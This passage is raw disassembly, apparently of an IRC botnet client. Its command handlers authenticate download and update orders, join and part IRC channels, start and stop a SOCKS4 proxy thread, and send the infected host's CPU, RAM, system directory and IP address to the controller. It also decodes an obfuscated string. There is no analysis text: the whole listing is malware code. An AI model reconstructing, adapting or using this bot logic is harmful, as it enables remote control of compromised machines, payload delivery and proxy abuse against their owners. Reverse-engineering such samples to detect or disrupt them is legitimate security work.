		push	dword ptr [ebp-4BCh]
		mov	esi, offset dword_420B28
		push	esi
		mov	edi, 0FFh
		lea	eax, [ebp-4B8h]
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-4B8h]
		add	esp, 1Ch
		lea	ecx, [eax+1]

loc_40188A:				; CODE XREF: sub_40177B+114j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40188A
		push	dword ptr [ebp-4C4h]
		sub	eax, ecx
		push	esi
		mov	[ebp+eax-4B8h],	dl
		lea	eax, [ebp-3B8h]
		push	22h
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-3B8h]
		add	esp, 10h
		lea	ecx, [eax+1]

loc_4018BB:				; CODE XREF: sub_40177B+145j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4018BB
		mov	ebx, [ebp-4C0h]
		push	dword ptr [ebx+8]
		sub	eax, ecx
		push	esi
		mov	[ebp+eax-3B8h],	dl
		lea	eax, [ebp-395h]
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-395h]
		add	esp, 10h
		lea	ecx, [eax+1]

loc_4018EE:				; CODE XREF: sub_40177B+178j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4018EE
		push	dword ptr [ebx+0Ch]
		sub	eax, ecx
		push	esi
		mov	[ebp+eax-395h],	dl
		lea	eax, [ebp-295h]
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-295h]
		add	esp, 10h
		lea	esi, [eax+1]

loc_40191B:				; CODE XREF: sub_40177B+1A5j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40191B
		sub	eax, esi
		mov	[ebp+eax-295h],	cl
		mov	al, [ebp+8]
		mov	[ebp-192h], al
		mov	al, [ebp+0Ch]
		push	4
		mov	[ebp-193h], al
		pop	eax
		cmp	[ebp+1Ch], eax
		jl	short loc_40198B
		mov	[ebp-4BCh], eax

loc_40194B:				; CODE XREF: sub_40177B+203j
		mov	eax, [ebx+eax*4]
		push	3
		mov	edi, offset dword_420B2C
		mov	esi, eax
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	short loc_401982
		mov	esi, eax
		push	2
		mov	edi, offset dword_420B30
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_401982
		mov	eax, [ebp-4BCh]
		inc	eax
		cmp	eax, [ebp+1Ch]
		mov	[ebp-4BCh], eax
		jle	short loc_40194B
		jmp	short loc_401992
; ---------------------------------------------------------------------------

loc_401982:				; CODE XREF: sub_40177B+1E1j
					; sub_40177B+1F1j
		mov	byte ptr [ebp-195h], 1
		jmp	short loc_401992
; ---------------------------------------------------------------------------

loc_40198B:				; CODE XREF: sub_40177B+1C8j
		mov	byte ptr [ebp-195h], 0

loc_401992:				; CODE XREF: sub_40177B+205j
					; sub_40177B+20Ej
		push	8
		mov	byte ptr [ebp-194h], 0
		call	sub_40340B
		pop	ecx
		mov	[ebp-4C0h], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_4019EB
		push	offset sub_41BED6
		lea	ecx, [ebp-4B8h]
		mov	edi, offset dword_420B34
		mov	esi, eax
		call	sub_414884
		jmp	short loc_4019EB
; ---------------------------------------------------------------------------

loc_4019C8:				; CODE XREF: sub_40177B+CDj
		push	offset aDlAuthFailure_ ; "DL: Auth Failure."
		push	dword ptr [ebp-4BCh]
		jmp	short loc_4019DB
; ---------------------------------------------------------------------------

loc_4019D5:				; CODE XREF: sub_40177B+2Ej
		push	offset aDlInvalidArgum ; "DL: Invalid Arguments"
		push	eax

loc_4019DB:				; CODE XREF: sub_40177B+258j
		push	dword ptr [ebp+0Ch]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 10h

loc_4019EB:				; CODE XREF: sub_40177B+96j
					; sub_40177B+232j ...
		call	sub_404A2F
		retn	1Ch
sub_40177B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4019F3	proc near		; DATA XREF: c.7ld2ih:off_420B9Co
		push	4B8h
		mov	eax, offset loc_41CA8E
		call	sub_4049E5
		cmp	dword ptr [ebp+1Ch], 3
		mov	eax, [ebp+10h]
		mov	edi, [ebp+20h]
		mov	[ebp-4C4h], eax
		mov	eax, [ebp+18h]
		mov	[ebp-4C0h], eax
		mov	[ebp-4BCh], edi
		jl	loc_401BFF
		mov	esi, 0BFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-18Fh]
		push	ebx
		push	eax
		mov	[ebp-190h], bl
		call	sub_407F20
		push	esi
		lea	eax, [ebp-0CFh]
		push	ebx
		push	eax
		mov	[ebp-0D0h], bl
		call	sub_407F20
		push	dword ptr [edi+4]
		lea	edi, [ebp-190h]
		call	sub_41BDAA
		push	0C0h
		lea	esi, [ebp-0D0h]
		mov	ebx, offset asc_426E50 ; "¶·±³·³ÁÇ´´·Ç»Ç¶Ä±ÇºÀÁ¶Ä¶³Á¶À°ÆÆµµ°ÄǺ±°"...
		call	sub_419EC1
		add	esp, 20h
		cmp	byte ptr [ebp+8], 0
		jz	short loc_401A8F
		cmp	byte_426C0A, 0
		jz	loc_401C15

loc_401A8F:				; CODE XREF: sub_4019F3+8Dj
		lea	ecx, [ebp-0D0h]
		lea	eax, [ebp-190h]

loc_401A9B:				; CODE XREF: sub_4019F3+C0j
		mov	dl, [eax]
		cmp	dl, [ecx]
		jnz	short loc_401AB9
		test	dl, dl
		jz	short loc_401AB5
		mov	dl, [eax+1]
		cmp	dl, [ecx+1]
		jnz	short loc_401AB9
		inc	eax
		inc	eax
		inc	ecx
		inc	ecx
		test	dl, dl
		jnz	short loc_401A9B

loc_401AB5:				; CODE XREF: sub_4019F3+B0j
		xor	eax, eax
		jmp	short loc_401ABE
; ---------------------------------------------------------------------------

loc_401AB9:				; CODE XREF: sub_4019F3+ACj
					; sub_4019F3+B8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_401ABE:				; CODE XREF: sub_4019F3+C4j
		test	eax, eax
		jnz	loc_401BF2
		push	327h
		push	eax
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_407F20
		push	dword ptr [ebp-4C0h]
		mov	esi, offset dword_420B28
		push	esi
		mov	edi, 0FFh
		lea	eax, [ebp-4B8h]
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-4B8h]
		add	esp, 1Ch
		lea	ecx, [eax+1]

loc_401B02:				; CODE XREF: sub_4019F3+114j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_401B02
		push	dword ptr [ebp-4C4h]
		sub	eax, ecx
		push	esi
		mov	[ebp+eax-4B8h],	dl
		lea	eax, [ebp-3B8h]
		push	22h
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-3B8h]
		add	esp, 10h
		lea	ecx, [eax+1]

loc_401B33:				; CODE XREF: sub_4019F3+145j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_401B33
		mov	ebx, [ebp-4BCh]
		push	dword ptr [ebx+8]
		sub	eax, ecx
		push	esi
		mov	[ebp+eax-3B8h],	dl
		lea	eax, [ebp-395h]
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-395h]
		add	esp, 10h
		lea	ecx, [eax+1]

loc_401B66:				; CODE XREF: sub_4019F3+178j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_401B66
		push	dword ptr [ebx+0Ch]
		sub	eax, ecx
		push	esi
		mov	[ebp+eax-395h],	dl
		lea	eax, [ebp-295h]
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-295h]
		add	esp, 10h
		lea	ecx, [eax+1]

loc_401B93:				; CODE XREF: sub_4019F3+1A5j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_401B93
		sub	eax, ecx
		mov	[ebp+eax-295h],	dl
		mov	al, [ebp+8]
		mov	[ebp-192h], al
		mov	al, [ebp+0Ch]
		push	8
		mov	[ebp-193h], al
		mov	byte ptr [ebp-195h], 1
		mov	byte ptr [ebp-194h], 1
		call	sub_40340B
		pop	ecx
		mov	[ebp-4BCh], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_401C15
		push	offset sub_41BED6
		lea	ecx, [ebp-4B8h]
		mov	edi, offset dword_420B34
		mov	esi, eax
		call	sub_414884
		jmp	short loc_401C15
; ---------------------------------------------------------------------------

loc_401BF2:				; CODE XREF: sub_4019F3+CDj
		push	offset aUpdAuthFailure ; "UPD: Auth Failure."
		push	dword ptr [ebp-4C0h]
		jmp	short loc_401C05
; ---------------------------------------------------------------------------

loc_401BFF:				; CODE XREF: sub_4019F3+2Ej
		push	offset aUpdInvalidArgu ; "UPD: Invalid Arguments."
		push	eax

loc_401C05:				; CODE XREF: sub_4019F3+20Aj
		push	dword ptr [ebp+0Ch]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 10h

loc_401C15:				; CODE XREF: sub_4019F3+96j
					; sub_4019F3+1E4j ...
		call	sub_404A2F
		retn	1Ch
sub_4019F3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401C1D	proc near		; DATA XREF: c.7ld2ih:off_420C10o

arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	edi
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_14], edi
		jl	loc_401CF7
		push	esi
		push	1F8h
		call	sub_402A08
		mov	esi, eax
		push	esi
		call	sub_402E05
		push	eax
		push	0
		push	esi
		call	sub_407F20
		add	esp, 14h
		cmp	[ebp+arg_14], edi
		jnz	short loc_401C81
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_420B28
		push	esi
		call	sub_402E05
		pop	ecx
		dec	eax
		push	eax
		push	esi
		call	sub_402EAE
		mov	eax, esi
		add	esp, 10h
		lea	edx, [eax+1]

loc_401C73:				; CODE XREF: sub_401C1D+5Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_401C73
		sub	eax, edx
		mov	[eax+esi], cl
		jmp	short loc_401CDB
; ---------------------------------------------------------------------------

loc_401C81:				; CODE XREF: sub_401C1D+32j
		jl	short loc_401CDB
		push	ebx
		mov	ebx, [ebp+arg_18]

loc_401C87:				; CODE XREF: sub_401C1D+BBj
		cmp	edi, 1
		jnz	short loc_401CA8
		push	dword ptr [ebx+4]
		push	offset dword_420B28
		push	esi
		call	sub_402E05
		pop	ecx
		dec	eax
		push	eax
		push	esi
		call	sub_402EAE
		add	esp, 10h
		jmp	short loc_401CC3
; ---------------------------------------------------------------------------

loc_401CA8:				; CODE XREF: sub_401C1D+6Dj
		push	dword ptr [ebx+edi*4]
		push	esi
		push	offset dword_420BA0
		push	esi
		call	sub_402E05
		pop	ecx
		dec	eax
		push	eax
		push	esi
		call	sub_402EAE
		add	esp, 14h

loc_401CC3:				; CODE XREF: sub_401C1D+89j
		mov	eax, esi
		lea	ecx, [eax+1]

loc_401CC8:				; CODE XREF: sub_401C1D+B0j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_401CC8
		sub	eax, ecx
		inc	edi
		cmp	edi, [ebp+arg_14]
		mov	[eax+esi], dl
		jle	short loc_401C87
		pop	ebx

loc_401CDB:				; CODE XREF: sub_401C1D+62j
					; sub_401C1D:loc_401C81j
		push	esi
		push	offset dword_420BA8
		mov	edi, offset dword_4283FC
		call	sub_417ABC
		push	esi
		call	sub_402F5B
		add	esp, 0Ch
		pop	esi
		jmp	short loc_401D07
; ---------------------------------------------------------------------------

loc_401CF7:				; CODE XREF: sub_401C1D+Aj
		push	offset aQuitIrnPowered ; "QUIT :Irn Powered\r\n"
		mov	edi, offset dword_4283FC
		call	sub_417ABC
		pop	ecx

loc_401D07:				; CODE XREF: sub_401C1D+D8j
		pop	edi
		pop	ebp
		retn	1Ch
sub_401C1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D0C	proc near		; DATA XREF: c.7ld2ih:off_420C18o

arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_14], 1
		push	edi
		jl	short loc_401D4A
		cmp	[ebp+arg_14], 2
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_4283FC
		jl	short loc_401D39
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		call	sub_417ABC
		add	esp, 0Ch
		jmp	short loc_401D62
; ---------------------------------------------------------------------------

loc_401D39:				; CODE XREF: sub_401D0C+16j
		push	dword ptr [eax+4]
		push	offset aJoinS	; "JOIN	%s\r\n"
		call	sub_417ABC
		pop	ecx
		pop	ecx
		jmp	short loc_401D62
; ---------------------------------------------------------------------------

loc_401D4A:				; CODE XREF: sub_401D0C+8j
		push	offset aIInsufficientA ; "I: Insufficient Arguments."
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 10h

loc_401D62:				; CODE XREF: sub_401D0C+2Bj
					; sub_401D0C+3Cj
		pop	edi
		pop	ebp
		retn	1Ch
sub_401D0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D67	proc near		; DATA XREF: c.7ld2ih:off_420C20o

arg_4		= dword	ptr  8
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		cmp	[esp+arg_14], 1
		jl	short loc_401D8A
		mov	eax, [esp+arg_18]
		push	edi
		push	dword ptr [eax+4]
		mov	edi, offset dword_4283FC
		push	offset aPartS	; "PART	%s\r\n"
		call	sub_417ABC
		pop	ecx
		pop	ecx
		pop	edi
		jmp	short locret_401DA4
; ---------------------------------------------------------------------------

loc_401D8A:				; CODE XREF: sub_401D67+5j
		push	offset aIInsufficientA ; "I: Insufficient Arguments."
		push	[esp+4+arg_10]
		push	[esp+8+arg_4]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 10h

locret_401DA4:				; CODE XREF: sub_401D67+21j
		retn	1Ch
sub_401D67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401DA7	proc near		; DATA XREF: c.7ld2ih:off_420C38o

var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_10]
		push	ebx
		mov	[ebp+var_118], eax
		push	esi
		push	edi
		xor	eax, eax
		xor	ecx, ecx
		mov	[ebp+var_14], cl
		lea	edi, [ebp+var_13]
		stosd
		stosd
		stosd
		stosw
		push	0FFh
		stosb
		push	ecx
		lea	eax, [ebp+var_113]
		push	eax
		mov	[ebp+var_114], cl
		call	sub_407F20
		push	dword_4283FC
		lea	esi, [ebp+var_14]
		call	sub_4197B6
		push	100h
		lea	esi, [ebp+var_114]
		mov	ebx, offset byte_426A49
		call	sub_419EC1
		mov	eax, esi
		push	eax
		push	dword_427FD4
		lea	eax, [ebp+var_14]
		push	eax
		push	offset aHttpSDS	; "http://%s:%d/%s"
		push	[ebp+var_118]
		push	[ebp+arg_4]
		push	offset dword_4283FC
		call	sub_417B51
		mov	ecx, [ebp+var_4]
		add	esp, 30h
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn	1Ch
sub_401DA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E4A	proc near		; DATA XREF: c.7ld2ih:off_420C84o

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_120		= byte ptr -120h
var_20		= word ptr -20h
var_1E		= byte ptr -1Eh
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset loc_41CA53
		mov	eax, large fs:0
		push	eax
		sub	esp, 130h
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+13Ch+var_14], eax
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_423064
		xor	eax, esp
		push	eax
		lea	eax, [esp+14Ch+var_C]
		mov	large fs:0, eax
		mov	edi, [ebp+arg_10]
		mov	esi, [ebp+arg_18]
		push	104h
		lea	eax, [esp+150h+var_120]
		push	0
		push	eax
		mov	[esp+158h+var_13C], edi
		call	sub_407F20
		add	esp, 0Ch
		push	edi
		push	offset dword_420B28
		lea	eax, [esp+154h+var_120]
		push	0FFh
		push	eax
		call	sub_402EAE
		lea	eax, [esp+15Ch+var_120]
		add	esp, 10h
		lea	ecx, [eax+1]

loc_401EC7:				; CODE XREF: sub_401E4A+82j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_401EC7
		mov	ebx, [ebp+arg_4]
		sub	eax, ecx
		cmp	[ebp+arg_14], 1
		mov	[esp+eax+14Ch+var_120],	dl
		mov	[esp+14Ch+var_1E], bl
		jl	short loc_401EFE
		push	dword ptr [esi+4]
		call	sub_40416B
		pop	ecx
		push	dword ptr [esi+4]
		mov	word_435398, ax
		call	sub_40416B
		pop	ecx
		jmp	short loc_401F0A
; ---------------------------------------------------------------------------

loc_401EFE:				; CODE XREF: sub_401E4A+98j
		mov	ax, word_426C08
		mov	word_435398, ax

loc_401F0A:				; CODE XREF: sub_401E4A+B2j
		mov	[esp+14Ch+var_20], ax
		mov	eax, dword_43569C
		mov	eax, [eax]
		mov	[esp+14Ch+var_134], eax
		mov	eax, offset dword_435698
		mov	[esp+14Ch+var_138], eax
		mov	[esp+14Ch+var_130], eax

loc_401F2A:				; CODE XREF: sub_401E4A+11Fj
		mov	eax, dword_43569C
		lea	edi, [esp+14Ch+var_130]
		lea	esi, [esp+14Ch+var_138]
		mov	[esp+14Ch+var_12C], eax
		call	sub_40166F
		test	al, al
		jz	short loc_401F6B
		mov	edi, offset off_420C3C
		call	sub_40164F
		mov	esi, eax
		add	esi, 5
		push	4
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_401F9A
		lea	edi, [esp+14Ch+var_128]
		lea	esi, [esp+14Ch+var_138]
		call	sub_40168C
		jmp	short loc_401F2A
; ---------------------------------------------------------------------------

loc_401F6B:				; CODE XREF: sub_401E4A+F8j
		push	8
		call	sub_40340B
		pop	ecx
		mov	[esp+14Ch+var_13C], eax
		and	[esp+14Ch+var_4], 0
		test	eax, eax
		jz	short loc_401FB1
		push	offset sub_4145BE
		lea	ecx, [esp+150h+var_120]
		mov	edi, offset off_420C3C
		mov	esi, eax
		call	sub_414884
		jmp	short loc_401FB1
; ---------------------------------------------------------------------------

loc_401F9A:				; CODE XREF: sub_401E4A+110j
		push	offset aS4AlreadyRunni ; "S4:Already Running"
		push	[esp+150h+var_13C]
		push	ebx
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 10h

loc_401FB1:				; CODE XREF: sub_401E4A+137j
					; sub_401E4A+14Ej
		mov	ecx, [esp+14Ch+var_C]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+13Ch+var_14]
		xor	ecx, esp
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn	1Ch
sub_401E4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FD7	proc near		; DATA XREF: c.7ld2ih:off_420C8Co

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 18h
		push	esi
		push	edi
		push	dword_428528
		call	ds:dword_41D280	; closesocket
		mov	eax, dword_43569C
		mov	eax, [eax]
		mov	[esp+20h+var_14], eax
		mov	eax, offset dword_435698
		mov	[esp+20h+var_18], eax
		mov	[esp+20h+var_10], eax

loc_402006:				; CODE XREF: sub_401FD7+6Ej
		mov	eax, dword_43569C
		lea	edi, [esp+20h+var_10]
		lea	esi, [esp+20h+var_18]
		mov	dword ptr [esp+20h+var_C], eax
		call	sub_40166F
		test	al, al
		jz	short loc_40205A
		mov	edi, offset off_420C3C
		call	sub_40164F
		mov	esi, eax
		add	esi, 5
		push	4
		pop	ecx
		xor	eax, eax
		repe cmpsb
		lea	esi, [esp+20h+var_18]
		jz	short loc_402047
		lea	edi, [esp+20h+var_8]
		call	sub_40168C
		jmp	short loc_402006
; ---------------------------------------------------------------------------

loc_402047:				; CODE XREF: sub_401FD7+63j
		call	sub_40164F
		mov	eax, [eax]
		call	sub_4147FC
		push	offset aS4ThreadStoppe ; "S4: Thread Stopped"
		jmp	short loc_40205F
; ---------------------------------------------------------------------------

loc_40205A:				; CODE XREF: sub_401FD7+47j
		push	offset aS4NoThreadRunn ; "S4: No Thread	Running"

loc_40205F:				; CODE XREF: sub_401FD7+81j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 10h
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	1Ch
sub_401FD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40207A	proc near		; DATA XREF: c.7ld2ih:off_420D4Co

var_444		= byte ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= byte ptr -438h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_418		= byte ptr -418h
var_417		= byte ptr -417h
var_408		= byte ptr -408h
var_407		= byte ptr -407h
var_308		= byte ptr -308h
var_307		= byte ptr -307h
var_208		= byte ptr -208h
var_207		= byte ptr -207h
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 444h
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+444h+var_4], eax
		mov	eax, [ebp+arg_10]
		push	ebx
		push	esi
		push	edi
		mov	esi, 0FFh
		push	esi
		mov	[esp+454h+var_43C], eax
		xor	ebx, ebx
		lea	eax, [esp+454h+var_107]
		push	ebx
		push	eax
		mov	[esp+45Ch+var_108], 0
		call	sub_407F20
		add	esp, 0Ch
		push	esi
		lea	eax, [esp+454h+var_307]
		push	ebx
		push	eax
		mov	[esp+45Ch+var_308], bl
		call	sub_407F20
		xor	eax, eax
		mov	[esp+45Ch+var_418], bl
		lea	edi, [esp+45Ch+var_417]
		stosd
		stosd
		stosd
		stosw
		add	esp, 0Ch
		push	esi
		stosb
		lea	eax, [esp+454h+var_407]
		push	ebx
		push	eax
		mov	[esp+45Ch+var_408], bl
		call	sub_407F20
		add	esp, 0Ch
		push	esi
		lea	eax, [esp+454h+var_207]
		push	ebx
		push	eax
		mov	[esp+45Ch+var_208], bl
		call	sub_407F20
		add	esp, 0Ch
		push	8
		pop	ecx
		xor	eax, eax
		lea	edi, [esp+450h+var_438]
		rep stosd
		lea	eax, [esp+450h+var_438]
		mov	ebx, 100h
		push	eax
		mov	[esp+454h+var_440], ebx
		call	ds:off_41D098
		mov	edi, [esp+450h+var_430]
		mov	ecx, [esp+450h+var_42C]
		shr	edi, 14h
		shr	ecx, 14h
		mov	eax, edi
		sub	eax, ecx
		push	1
		mov	ecx, ebx
		lea	esi, [esp+454h+var_108]
		mov	dword ptr [esp+454h+var_444], eax
		call	sub_419641
		pop	ecx
		call	sub_41AD77
		push	1
		push	ebx
		lea	esi, [esp+458h+var_308]
		call	sub_41960F
		push	dword_4283FC
		lea	esi, [esp+45Ch+var_418]
		call	sub_4197B6
		add	esp, 0Ch
		lea	eax, [esp+450h+var_440]
		push	eax
		lea	eax, [esp+454h+var_408]
		push	eax
		call	ds:off_41D048
		push	ebx
		lea	eax, [esp+454h+var_208]
		push	eax
		call	ds:dword_41D0F0	; GetSystemDirectoryA
		call	sub_419590
		push	dword_427FEC
		lea	eax, [esp+454h+var_208]
		push	dword_427FE8
		push	dword_427FE4
		push	dword_427FE0
		push	dword_427FDC
		push	dword_427FD8
		push	eax
		lea	eax, [esp+46Ch+var_408]
		push	eax
		mov	eax, esi
		push	eax
		lea	eax, [esp+474h+var_308]
		push	eax
		push	edi
		push	dword ptr [esp+47Ch+var_444]
		mov	esi, offset byte_428530
		push	dword_428630
		lea	eax, [esp+484h+var_108]
		push	esi
		push	dword_428634
		push	eax
		push	offset aSystemSCpuIXS@ ; "System: %s [CPU: %i x	%s @ %dMhz] [RAM:"...
		push	[esp+494h+var_43C]
		push	[ebp+arg_4]
		push	offset dword_4283FC
		call	sub_417B51
		push	108h
		push	0
		push	esi
		call	sub_407F20
		mov	ecx, [esp+4ACh+var_4]
		add	esp, 5Ch
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn	1Ch
sub_40207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40223C	proc near		; DATA XREF: c.7ld2ih:off_420D54o

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_10]
		push	esi
		push	edi
		push	dword_4283FC
		mov	[ebp+var_14], 0
		xor	eax, eax
		lea	edi, [ebp+var_13]
		stosd
		stosd
		stosd
		stosw
		lea	esi, [ebp+var_14]
		stosb
		call	sub_4197B6
		pop	ecx
		mov	eax, esi
		push	eax
		call	ds:dword_41D264	; inet_addr
		push	2
		mov	[ebp+var_18], eax
		push	4
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_41D224	; gethostbyaddr
		test	eax, eax
		jnz	short loc_4022A9
		mov	eax, esi
		push	eax
		push	offset aNetIpSHostNA ; "Net: IP: %s Host: N/A"
		push	ebx
		push	[ebp+arg_4]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 14h
		jmp	short loc_4022C5
; ---------------------------------------------------------------------------

loc_4022A9:				; CODE XREF: sub_40223C+50j
		push	dword ptr [eax]
		lea	eax, [ebp+var_14]
		push	eax
		push	offset aNetIpSHostS ; "Net: IP:	%s Host: %s"
		push	ebx
		push	[ebp+arg_4]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 18h

loc_4022C5:				; CODE XREF: sub_40223C+6Bj
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn	1Ch
sub_40223C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4022D6	proc near		; DATA XREF: c.7ld2ih:off_420EA4o
		push	60h
		mov	eax, offset loc_41CA21
		call	sub_4049E5
		mov	eax, [ebp+18h]
		mov	[ebp-68h], eax
		xor	eax, eax
		mov	byte ptr [ebp-30h], 0
		lea	edi, [ebp-2Fh]
		stosd
		stosd
		stosd
		mov	ebx, [ebp+20h]
		stosw
		and	dword ptr [ebp-58h], 0
		and	dword ptr [ebp-48h], 0
		stosb
		xor	eax, eax
		mov	byte ptr [ebp-20h], 0
		lea	edi, [ebp-1Fh]
		stosd
		stosd
		stosd
		stosw
		stosb
		or	edi, 0FFFFFFFFh
		cmp	byte_43538D, 0
		mov	[ebp-50h], ebx
		mov	byte ptr [ebp-41h], 0
		mov	[ebp-5Ch], edi
		mov	[ebp-60h], edi
		mov	[ebp-64h], edi
		mov	[ebp-6Ch], edi
		jnz	short loc_40233D
		call	sub_41BD26
		test	al, al
		jz	loc_4027EC

loc_40233D:				; CODE XREF: sub_4022D6+58j
		cmp	byte_4282F4, 0
		jnz	short loc_402353
		call	sub_419507
		test	al, al
		jz	loc_4027EC

loc_402353:				; CODE XREF: sub_4022D6+6Ej
		and	dword ptr [ebp-54h], 0
		mov	ecx, offset dword_424528
		mov	eax, ecx
		lea	esi, [eax+1]

loc_402361:				; CODE XREF: sub_4022D6+90j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_402361
		jmp	short loc_4023B0
; ---------------------------------------------------------------------------

loc_40236A:				; CODE XREF: sub_4022D6+DCj
		mov	edx, [ebx+4]
		mov	eax, ecx

loc_40236F:				; CODE XREF: sub_4022D6+B1j
		mov	cl, [eax]
		cmp	cl, [edx]
		jnz	short loc_40238D
		test	cl, cl
		jz	short loc_402389
		mov	cl, [eax+1]
		cmp	cl, [edx+1]
		jnz	short loc_40238D
		inc	eax
		inc	eax
		inc	edx
		inc	edx
		test	cl, cl
		jnz	short loc_40236F

loc_402389:				; CODE XREF: sub_4022D6+A1j
		xor	eax, eax
		jmp	short loc_402391
; ---------------------------------------------------------------------------

loc_40238D:				; CODE XREF: sub_4022D6+9Dj
					; sub_4022D6+A9j
		sbb	eax, eax
		sbb	eax, edi

loc_402391:				; CODE XREF: sub_4022D6+B5j
		test	eax, eax
